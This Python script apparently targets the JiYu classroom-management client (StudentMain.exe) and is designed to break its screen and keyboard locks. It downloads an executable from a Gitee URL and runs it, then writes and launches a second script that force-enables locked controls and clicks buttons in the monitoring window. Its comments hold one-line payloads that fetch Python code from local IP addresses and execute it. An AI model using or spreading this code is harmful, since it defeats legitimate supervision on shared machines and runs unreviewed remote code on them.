import os
import sys


python = sys.executable

PYTHON_MIRROR = "https://pypi.tuna.tsinghua.edu.cn/simple"
KEYBOARD_FILE_DOWNLOAD_URL = f"https://gitee.com/wojiaoyishang/my-computer-class/raw/master/%E6%9E%81%E5%9F%9Fpayload/keyboard.exe"
REALSE_DIR = os.path.join(os.path.expanduser("~"), "Downloads")

# python -c exec(__import__('urllib.request').request.urlopen('http://172.30.64.1:8000/1.py').read().decode())
WINDOW_BREAK = r"""
import win32gui
import win32process
import win32con
import win32api
import psutil
import ctypes
import keyboard
from ctypes import wintypes, CFUNCTYPE
import threading
import time
import os
import requests


def hotkey_callback():
    print("触发快捷键：正在查找学生端窗口...")
    windows = find_students_exe_windows()
    
    if not windows:
        return
    
    print(f"找到{len(windows)}个学生端窗口")
    
    for hwnd in windows:
        window_title = win32gui.GetWindowText(hwnd)
        unlock_controls_in_window(hwnd)
    
    print("窗口状态处理完成")

def find_students_exe_windows():
    students_windows = []
    
    # 获取所有窗口
    def enum_windows_callback(hwnd, windows):
        # 检查窗口是否可见
        if win32gui.IsWindowVisible(hwnd):
            # 获取窗口进程ID
            _, pid = win32process.GetWindowThreadProcessId(hwnd)
            
            try:
                # 获取进程信息
                process = psutil.Process(pid)
                # 检查进程名是否为students.exe
                if process.name() == 'StudentMain.exe':
                    windows.append(hwnd)
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                pass
        return True
    
    win32gui.EnumWindows(enum_windows_callback, students_windows)
    return students_windows

def unlock_controls_in_window(hwnd):
    # 获取所有子控件
    controls = []
    
    def enum_child_windows_callback(hwnd_child, controls):
        controls.append(hwnd_child)
        return True
    
    win32gui.EnumChildWindows(hwnd, enum_child_windows_callback, controls)
    
    # 遍历所有控件并尝试解锁
    for control_hwnd in controls:
        try:
            # 检查控件是否被禁用
            if win32gui.IsWindowEnabled(control_hwnd) == 0:
                # 启用控件
                win32gui.EnableWindow(control_hwnd, True)
                
                print(f"已解锁控件: {win32gui.GetClassName(control_hwnd)}")
                if win32gui.GetClassName(control_hwnd) == 'Button':
                    win32gui.SendMessage(control_hwnd, win32con.BM_CLICK, 0, 0)
            
            # 尝试移除只读属性（对于编辑框等）
            style = win32gui.GetWindowLong(control_hwnd, win32con.GWL_STYLE)
            if style & win32con.ES_READONLY:
                win32gui.SetWindowLong(control_hwnd, win32con.GWL_STYLE, style & ~win32con.ES_READONLY)
                print(f"已移除只读属性: {win32gui.GetClassName(control_hwnd)}")
                
        except Exception as e:
            print(f"处理控件时出错: {e}")


if __name__ == "__main__":
    with open(f"{REALSE_DIR}\\keyboard.exe", "wb") as f:
        response = requests.get(KEYBOARD_FILE_DOWNLOAD_URL)
        f.write(response.content)
    
    os.system(f"start {REALSE_DIR}\\keyboard.exe")
    os.system("msg * 我为你解除了最大化的限制，现在你自由了，不要关闭黑窗口，一个会帮你解除键盘限制，一个是用于脱离窗口控制。如果屏幕广播再次发起，请按下 ctrl + alt + f12 退出。")
    print("这个程序用于解除窗口控制，再次发起屏幕广播时按下 ctrl + alt + f12 。")
    keyboard.add_hotkey('ctrl+alt+f12', hotkey_callback)
    hotkey_callback()
    while True:
        time.sleep(1)
"""

WINDOW_BREAK = f"KEYBOARD_FILE_DOWNLOAD_URL = '{KEYBOARD_FILE_DOWNLOAD_URL}'\n\n" + WINDOW_BREAK
WINDOW_BREAK = f"REALSE_DIR = r'{REALSE_DIR}'\n\n" + WINDOW_BREAK

# payload: python -c "exec(__import__('urllib.request').request.urlopen('http://10.60.35.29:8000/1.py').read().decode())"
# KEYBOARD_PAYLOAD = f"python -c exec(__import__('urllib.request').request.urlopen('{FILE_DOWNLOAD_URL}').read().decode())"

def parse_code():
    print(REALSE_DIR)
    with open(f"{REALSE_DIR}\\WINDOW.py", "w", encoding="utf-8") as f:
        f.write(WINDOW_BREAK)
    
    
    os.system(f"start python {REALSE_DIR}\\WINDOW.py")

# 安装需要安装的库
try:
    import psutil, win32gui, requests
    import keyboard
except:
    
    os.system(f"pip install psutil pywin32 requests keyboard --force --user -i {PYTHON_MIRROR}")
    # os.system(f"python.exe C:\ProgramData\anaconda3\Scripts/pywin32_postinstall.py -install")
    parse_code()
    exit()
    
parse_code()

   
